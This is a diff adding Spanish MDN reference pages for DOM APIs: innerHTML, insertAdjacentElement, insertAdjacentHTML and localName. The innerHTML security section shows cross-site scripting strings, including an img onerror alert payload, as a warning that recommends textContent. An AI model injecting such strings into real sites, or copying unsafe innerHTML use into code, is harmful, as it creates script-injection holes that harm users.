+<dl>
+ <dt><a href="/es/DOM/element.onkeyup" title="es/DOM/element.onkeyup">onkeyup</a> - (al soltar una tecla)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onkeyup</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onmousedown" title="es/DOM/element.onmousedown">onmousedown</a> - (al tener el botón del ratón apretado)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onmousedown</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onmousemove" title="es/DOM/element.onmousemove">onmousemove</a> - (al mover el ratón)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onmousemove</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onmouseout" title="es/DOM/element.onmouseout">onmouseout</a> - (al quitar el puntero del ratón)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onmouseout</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onmouseover" title="es/DOM/element.onmouseover">onmouseover</a> - (al pasar el ratón encima)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onmouseover</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onmouseup" title="es/DOM/element.onmouseup">onmouseup</a> - (al soltar el botón del ratón)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onmouseup</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onresize" title="es/DOM/element.onresize">onresize</a> - (al re-dimensionar la pantalla)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onresize</code>.</dd>
+</dl>
diff --git a/files/es/web/api/element/innerhtml/index.html b/files/es/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..b0e9552b47
--- /dev/null
+++ b/files/es/web/api/element/innerhtml/index.html
@@ -0,0 +1,151 @@
+---
+title: element.innerHTML
+slug: Web/API/Element/innerHTML
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Element/innerHTML
+---
+<p>{{APIRef("DOM")}}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad <strong><code>Element.innerHTML</code></strong> devuelve o establece la sintaxis HTML describiendo los descendientes del elemento.</p>
+
+<p>Al establecerse se reemplaza la sintaxis HTML del elemento por la nueva.</p>
+
+<div class="note"><strong>Nota: </strong>Si un nodo tiene un texto secundario que incluye los caracteres <code>(&amp;), (&lt;),</code> o <code>(&gt;)</code>, <code>innerHTML</code> devuelve estos caracteres como &amp;amp, &amp;lt y &amp;gt respectivamente. Use {{ domxref("Node.textContent") }} para conseguir una copia correcta del contenido de estos nodos de texto.</div>
+
+<p>Para <strong>insertar el código HTML</strong> en el documento en lugar de cambiar el contenido de un elemento, use el método <a href="https://developer.mozilla.org/es/docs/Web/API/Element/insertAdjacentHTML">insertAdjacentHTML().</a></p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>const content</em> = <em>element</em>.innerHTML;
+
+<em>element</em>.innerHTML = <em>htmlString</em>;</pre>
+
+<h3 class="brush: js" id="Valor">Valor</h3>
+
+<p>La variable constante <code>content</code> contiene un <a href="https://developer.mozilla.org/es/docs/Web/API/DOMString">DOMString</a> que contiene el código HTML serializado describiendo todos los descendientes de <code>element</code>. Cuando se establece el valor de innerHTML, <strong>se eliminan todos los descendientes de <code>element</code></strong>, analiza la cadena <code>htmString</code> y asigna los nodos resultantes como descendientes de <code>element</code>.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Se intentó establecer el valor de <code>innerHTML</code> utilizando una cadena que no está formada correctamente en HTML</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>Se intentó insertar el código HTML en un nodo cuyo elemento primario es <a href="https://developer.mozilla.org/es/docs/Web/API/Document">document</a>.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">Notas de uso</h2>
+
+<p>La propiedad <code>innerHTML</code> de muchos tipos de elementos—incluyendo {{ HTMLElement("body") }} o {{ HTMLElement("html") }}—puede ser devuelta o establecida. Esta propiedad se puede usar para ver el código HTML de la página actual, incluida la que haya sido modificada dinámicamente:</p>
+
+<h3 id="Devolver_la_sintaxis_HTML_de_un_elemento">Devolver la sintaxis HTML de un elemento</h3>
+
+<p>Devolver el valor de <code>innerHTML</code><font><font>hace que el agente de usuario serialice el fragmento HTML compuesto por los descendientes del elemento. </font><font>La cadena resultante es devuelta.</font></font></p>
+
+<pre><em>const content</em><code> = </code><em>element</em>.innerHTML;
+</pre>
+
+<p>Esto le permite ver la sintaxis HTML de los nodos contenidos en el elemento.</p>
+
+<h3 id="Reemplazar_el_contenido_de_un_elemento">Reemplazar el contenido de un elemento</h3>
+
+<p>Esta propiedad proporciona una forma sencilla de cambiar completamente los contenidos de un elemento por contenido nuevo. Por ejemplo, los contenidos completos del cuerpo del documento se pueden borrar así:</p>
+
+<pre class="brush: js">document.body.innerHTML = "";  // Reemplaza el contenido de &lt;body&gt; con una cadena vacía
+</pre>
+
+<p>El siguiente ejemplo recupera la sintaxis HTML actual del documento y reemplaza los caracteres "<code>&lt;</code>" con la entidad HTML "<code>&amp;lt;</code>", convirtiendo esencialmente el HTML en texto plano. Esto luego se envuelve en un elemento <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre">&lt;pre&gt;</a>. Entonces el valor de innerHTML se cambia a esta nueva cadena. Como resultado, se muestra en pantalla el código fuente completo de la página.</p>
+
+<pre><code>document.documentElement.innerHTML = "&lt;pre&gt;" +
+         document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") +
+            "&lt;/pre&gt;";</code>
+</pre>
+
+<div class="note">
+<p>Esta propiedad fue inicialmente implementada por navegadores web, y luego especificada por el WHATWG y el W3C en HTML5. Implementaciones antiguas no la implementarán exactamente igual. Por ejemplo, cuando el texto es ingresado en una caja de <strong>texto multilinea (elemento <code>textarea</code>)</strong>, Internet Explorer <font><font>cambiará el valor de la propiedad <code>innerHTML</code> del </font></font><strong>elemento <code>textarea</code></strong><font><font>, mientras que los navegadores Gecko no lo hacen.</font></font></p>
+</div>
+
+<h3 id="Consideración_de_seguridad">Consideración de seguridad</h3>
+
+<p>No es extraño que <code>innerHTML</code> sea usado para  introducir texto en una página web. Esto añade un riesgo de seguridad.</p>
+
+<pre class="brush: js">//ejemplo 1
+var name = "Juan";
+// asumiendo que 'el' es un elemento de HTML DOM
+el.innerHTML = name; // sin peligro
+
+// ...
+
+//ejemplo 2
+name = "&lt;script&gt;alert('Soy Juan con una alerta molesta!')&lt;/script&gt;";
+el.innerHTML = name; // fíjese que<span id="result_box" lang="es"> <span class="hps">el</span> <span class="hps">texto</span> <span class="hps">es molesto</span> <span class="hps">y no es realmente</span> <span class="hps">lo que se esperaba</span><span>.</span></span>
+</pre>
+
+<p>Aunque esto, el ejemplo 2, puede parecer un ataque <a class="external" href="http://en.wikipedia.org/wiki/Cross-site_scripting">cross-site scripting</a>, <strong>el resultado es inofensivo</strong>, ya que HTML5 especifica que un tag <code><a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/script">&lt;script&gt;</a> </code>insertado a través innerHTML <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">no debe ejecutarse</a>.</p>
+
+<p>Sin embargo, hay maneras de ejecutar JavaScript sin necesidad de utilizar el elemento <code>&lt;script&gt;</code>, por lo que todavía hay un riesgo de seguridad cada vez que se utiliza <code>innerHTML</code> para establecer cadenas de texto sobre las que no tiene control. Por ejemplo:</p>
+
+<pre class="brush: js">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // con peligro, la alerta ahora si es mostrada</pre>
+
+<p>Por esa razón, cuando solo tratamos con texto, es recomendable no usar <code>innerHTML</code>, sino <a href="/En/DOM/Node.textContent">Node.textContent</a>, que no interpretará la cadena pasada como HTML, sino como texto plano.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Documento sin título&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div id="txt"&gt;
+      &lt;p&gt;primer parrafo hijo de div id="txt"&lt;/p&gt;
+      &lt;p&gt;segundo parrafo hijo de id="txt" txt&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<pre class="brush: js">txt = document.getElementById("txt");
+console.log(txt.innerHTML);
+/*
+La siguiente cadena (string) se muestra en la ventana de la consola:
+&lt;p&gt;primer parrafo hijo de div id="txt"&lt;/p&gt;
+&lt;p&gt;segundo parrafo hijo de id="txt" txt&lt;/p&gt;
+*/</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<ul>
+ <li>W3C's HTML 5 <code>innerHTML</code> para <a class="external" href="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0" title="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">documentos </a><a class="external" href="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0" title="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">HTML</a></li>
+ <li>W3C's HTML 5 <code>innerHTML</code> para <a class="external" href="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml1" title="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml1">documentos </a><a class="external" href="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml1" title="http://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml1">XHTML</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><code><a class="external" href="http://innerdom.sourceforge.net/">innerDOM</a></code> - Para aquellos que desean adherirse a los estándares, aquí hay un conjunto de funciones JavaScript que ofrecen serializar o analizar XML para así establecer contenidos de elementos definidos como cadena(s) via el DOM o para conseguir contenidos de elementos obtenidos del DOM como cadenas.</li>
+ <li><a class="external" href="http://code.google.com/p/jssaxparser/" title="http://code.google.com/p/jssaxparser/">jssaxparser</a> - Una solución más robusta (aunque más pesada) que innerDOM (soporta análisis con espacios de nombres, atributos entre comillas simples, secciones CDATA, etc) es este analizador SAX2 cuando se utiliza con su manejador de contenido DOM. (Ofrece String to DOM, DOM to string es <a class="external" href="http://code.assembla.com/brettz9/subversion/nodes/DOMToString" title="http://code.assembla.com/brettz9/subversion/nodes/DOMToString">significativamente más fácil</a>)</li>
+</ul>
+
+<div class="s3gt_translate_tooltip_mini_box" id="s3gt_translate_tooltip_mini" style="background: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; direction: ltr !important; font-weight: initial !important; height: initial !important; letter-spacing: initial !important; max-width: initial !important; min-height: initial !important; margin: auto !important; outline: initial !important; padding: initial !important; position: absolute; text-align: initial !important; text-shadow: initial !important; width: initial !important; display: initial !important; color: inherit !important; font-size: 13px !important; font-family: X-LocaleSpecific, sans-serif, Tahoma, Helvetica !important; line-height: 13px !important; vertical-align: top !important; white-space: inherit !important; left: 163px; top: 957px; opacity: 0.85;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="Traducir texto seleccionado"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="Escuchar"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="Copiar texto al Portapapeles"> </div>
+</div>
+
+<div class="s3gt_translate_tooltip_mini_box" id="s3gt_translate_tooltip_mini" style="background: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; direction: ltr !important; font-weight: initial !important; height: initial !important; letter-spacing: initial !important; max-width: initial !important; min-height: initial !important; margin: auto !important; outline: initial !important; padding: initial !important; position: absolute; text-align: initial !important; text-shadow: initial !important; width: initial !important; display: initial !important; color: inherit !important; font-size: 13px !important; font-family: X-LocaleSpecific, sans-serif, Tahoma, Helvetica !important; line-height: 13px !important; vertical-align: top !important; white-space: inherit !important; left: 503px; top: 778px; opacity: 0.15;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="Traducir texto seleccionado"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="Escuchar"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="Copiar texto al Portapapeles"> </div>
+</div>
diff --git a/files/es/web/api/element/insertadjacentelement/index.html b/files/es/web/api/element/insertadjacentelement/index.html
new file mode 100644
index 0000000000..4f06780e1e
--- /dev/null
+++ b/files/es/web/api/element/insertadjacentelement/index.html
@@ -0,0 +1,115 @@
+---
+title: Element.insertAdjacentElement()
+slug: Web/API/Element/insertAdjacentElement
+translation_of: Web/API/Element/insertAdjacentElement
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>El método <strong><code>insertAdjacentElement()</code></strong> inserta un elemento nodo dado en una posición dada con respecto al elemento sobre el que se invoca.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="notranslate"><em>elementoObjetivo</em>.insertAdjacentElement(<em>posición</em>, <em>elemento</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>posición</code></dt>
+ <dd>Un {{domxref("DOMString")}} representando la posición relativa al <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">elementoObjetivo</span></font>; debe ser una de las siguientes cadenas:
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: Antes del <code>elementoObjetivo</code>.</li>
+  <li><code style="color: green;">'afterbegin'</code>: Dentro del <code>elementoObjetivo</code>, antes de su primer hijo.</li>
+  <li><code style="color: blue;">'beforeend'</code>: Dentro del <code>elementoObjetivo</code>, después de su último hijo.</li>
+  <li><code style="color: magenta;">'afterend'</code>: Después del <code>elementoObjetivo</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>elemento</code></dt>
+ <dd>El elemento HTML a ser insertado.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El elemento insertado  o <code>null</code>, si la inserción falla.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Explicación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>La <code>posición</code> especificada no tiene un valor reconocido.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>El <code>elemento</code> especificado no es un elemento válido.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Visualización_de_los_nombres_de_posición">Visualización de los nombres de posición</h3>
+
+<pre class="notranslate">&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+  &lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+  foo
+  &lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Nota:</strong> Las posiciones <code>beforebegin</code> y <code>afterend</code> sólo funcionan si el nodo está en un árbol y tiene un padre.</div>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js notranslate">beforeBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  activeElem.insertAdjacentElement('beforebegin',tempDiv);
+  setListener(tempDiv);
+});
+
+afterBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  activeElem.insertAdjacentElement('afterend',tempDiv);
+  setListener(tempDiv);
+});</pre>
+
+<p>Mira nuestro <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentElement.html">insertAdjacentElement.html</a> demo en Github (mira el<a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentElement.html"> código fuente</a> también.) Aquí tenemos una  secuencia de elementos {{htmlelement("div")}} dentro de un contenedor. Cuando uno es clickeado, se torna en seleccionado y tu puedes presionar los botones <em>Insert before</em> e <em>Insert after</em> para insertar nuevos divs antes o despues del elemento seleccionado usando <code>insertAdjacentElement()</code>.</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacentelement', 'insertAdjacentElement()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad con Navegadores</h2>
+
+<p>{{Compat("api.Element.insertAdjacentElement")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}} (similar to <code>beforebegin</code>, with different arguments)</li>
+ <li>{{domxref("Node.appendChild()")}} (mismo efecto que <code>beforeend</code>)</li>
+</ul>
diff --git a/files/es/web/api/element/insertadjacenthtml/index.html b/files/es/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..03be31a430
--- /dev/null
+++ b/files/es/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,99 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+tags:
+  - API
+  - Cambiando el DOM
+  - DOM
+  - HTML
+  - Insertando Elementos
+  - Insertando Nodos
+  - Referencia
+  - insertAdjacentHTML
+  - metodo
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>EL método <strong><code>insertAdjacentHTML()</code></strong> de la interfaz {{domxref("Element")}} analiza la cadena de texto introducida como cadena HTML o XML e inserta al árbol DOM los nodos resultantes de dicho análisis en la posición especificada. Este método no re-analiza el elemento sobre el cual se está invocando y por lo tanto no corrompe los elementos ya existentes dentro de dicho elemento. Esto evita el paso adicional de la serialización, haciéndolo mucho más rápido que la manipulación directa con {{domxref("Element.innerHTML", "innerHTML")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>element</em>.insertAdjacentHTML(<em>posición</em>, <em>texto</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><strong>posición</strong></code></dt>
+ <dd>Un {{domxref("DOMString")}} que representa la posición relativa al <code>elemento</code>, y deberá ser una de las siguientes cadenas:
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: Antes que el propio <code>elemento</code>.</li>
+  <li><code style="color: green;">'afterbegin'</code>: Justo dentro del <code>elemento</code>, antes de su primer elemento hijo.</li>
+  <li><code style="color: blue;">'beforeend'</code>: Justo dentro del <code>elemento</code>, después de su último elemento hijo.</li>
+  <li><code style="color: magenta;">'afterend'</code>: Después del propio <code>elemento</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>texto</code></dt>
+ <dd>Es la cadena a ser analizada como HTML o XML e insertada en el árbol.</dd>
+</dl>
+
+<h3 id="Visualizacion_de_las_posiciones">Visualizacion de las posiciones</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+  &lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+  foo
+  &lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Nota: </strong>Las posiciones <code>beforebegin</code> y <code>afterend</code> funcionan únicamente si el nodo se encuentra en el árbol DOM y tiene un elemento padre.</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// En este punto, la nueva estructura es:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<h3 id="Consideraciones_de_seguridad">Consideraciones de seguridad</h3>
+
+<p>Cuando se inserte texto HTML en una página usando <code>insertAdjacentHTML()</code> debe tener cuidado de no usar cadenas de texto que no contengan las secuencias de escape pertinentes según sea el caso.</p>
+
+<p>Se recomienda no usar <code>insertAdjacentHTML()</code> cuando se pretende insertar texto plano; en su lugar, se debe utilizar la propiedad {{domxref("Node.textContent")}} o el método {{domxref("Element.insertAdjacentText()")}}. Este método no interpreta el contenido pasado como HTML, si no que lo inserta como texto plano.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("XMLSerializer")}}: Contruir una representación del DOM de un texto XML</li>
+ <li><a class="external" href="https://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> por Henri Sivonen incluye puntos de referencia mostrando que insertAdjacentHTML puede ser mucho más rápido en algunos casos.</span></li>
+</ul>
diff --git a/files/es/web/api/element/localname/index.html b/files/es/web/api/element/localname/index.html
new file mode 100644
index 0000000000..0876729853
--- /dev/null
+++ b/files/es/web/api/element/localname/index.html
@@ -0,0 +1,152 @@
+---
+title: Element.localName
+slug: Web/API/Element/localName
+tags:
+  - API
+  - Compatibilidad de los Navegadores en Móviles
+  - Compatibilidad de los navegadores
+  - DOM
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Element/localName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad únicamente de lectura <code><strong>Element.localName</strong></code> devuelve la parte local del nombre calificado de un objeto.</p>
+
+<div class="note">
+<p>Antes de DOM4 esta API fué definida dentro de la interfaz{{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Sintasix">Sintasix</h2>
+
+<pre class="syntaxbox"><var>name</var> = <var>element</var>.localName
+</pre>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p> {{domxref("DOMString")}} <span id="result_box" lang="es"><span>que representa la parte</span> <span>local del</span> <span>nombre cualificado</span> <span>del elemento.</span></span></p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>(debe ser servido con contenido tipo XML , como <code>text/xml</code> o <code>application/xhtml+xml</code>.)</p>
+
+<pre class="brush:xml">&lt;html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg"&gt;
+&lt;head&gt;
+  &lt;script type="application/javascript"&gt;&lt;![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "&lt;svg:circle&gt; has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="test()"&gt;
+  &lt;svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100"&gt;
+    &lt;svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/&gt;
+  &lt;/svg:svg&gt;
+  &lt;textarea id="text" rows="4" cols="55"/&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p><span id="result_box" lang="es"><span>El nombre local</span> <span>de un nodo</span> <span>es la parte del</span> <span>nombre completo</span> <span>del</span> <span>nodo que</span> <span>va situado después de</span> <span>los dos puntos.</span> <span>Nombres calificados</span> <span>se utilizan normalmente en</span> <span>XML</span> <span>como parte</span> <span>del espacio de los nombres</span> <span>(s)</span> <span>de los</span> <span>documentos particulares XML</span> <span>.</span> <span>Por ejemplo</span><span>,</span> <span>en el nombre</span> calificado <span>ecomm</span> <span>:</span> <span>socios</span><span>,</span>  <span>socios</span> <span>es el nombre</span> <span>local y</span> <span>ecomm</span> <span>es</span> <span>el prefijo</span><span>:</span></span></p>
+
+<pre class="brush:xml line-numbers  language-xml"><code class="language-xml"><span class="tag token"><span class="tag token"><span class="punctuation token">1  &lt;</span><span class="namespace token">ecomm:</span>business</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>soda_shop<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>brick_n_mortar<span class="punctuation token">"</span></span> <span class="attr-name token"><span class="namespace token">xmlns:</span>ecomm</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://example.com/ecomm<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+2   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">ecomm:</span>partners</span><span class="punctuation token">&gt;</span></span>
+3    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">ecomm:</span>partner</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1001<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Tony's Syrup Warehouse
+4     <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">ecomm:</span>partner</span><span class="punctuation token">&gt;</span></span>
+5    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">ecomm:</span>partner</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">6  &lt;/</span><span class="namespace token">ecomm:</span>business</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<p><strong>Nota:</strong> En {{Gecko("1.9.2")}} y anteriores,devuelve la versión en mayúsculas del nombre local para elementos HTML en HTML DOMs (en contraposición a elementos XHTML en XML DOMs). En versiones posteriores, en concordancia con HTML5,<span id="result_box" lang="es"><span>la propiedad devuelve</span> <span>en</span> <span>el caso de</span> <span>almacenamiento</span> <span>interno DOM</span></span> , <span id="result_box" lang="es"> <span>minúscula</span> <span>para ambos elementos</span> <span>HTML en</span> <span>HTML</span> <span>DOM</span> <span>y</span> <span>elementos XHTML</span> <span>en</span> <span>DOM</span> <span>XML</span></span>. La propiedad {{domxref("element.tagName","tagName")}} continua devolviéndolo en mayúsculas para elementos HTML en HTML DOMs.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM4', '#interface-element', 'Element.localName')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
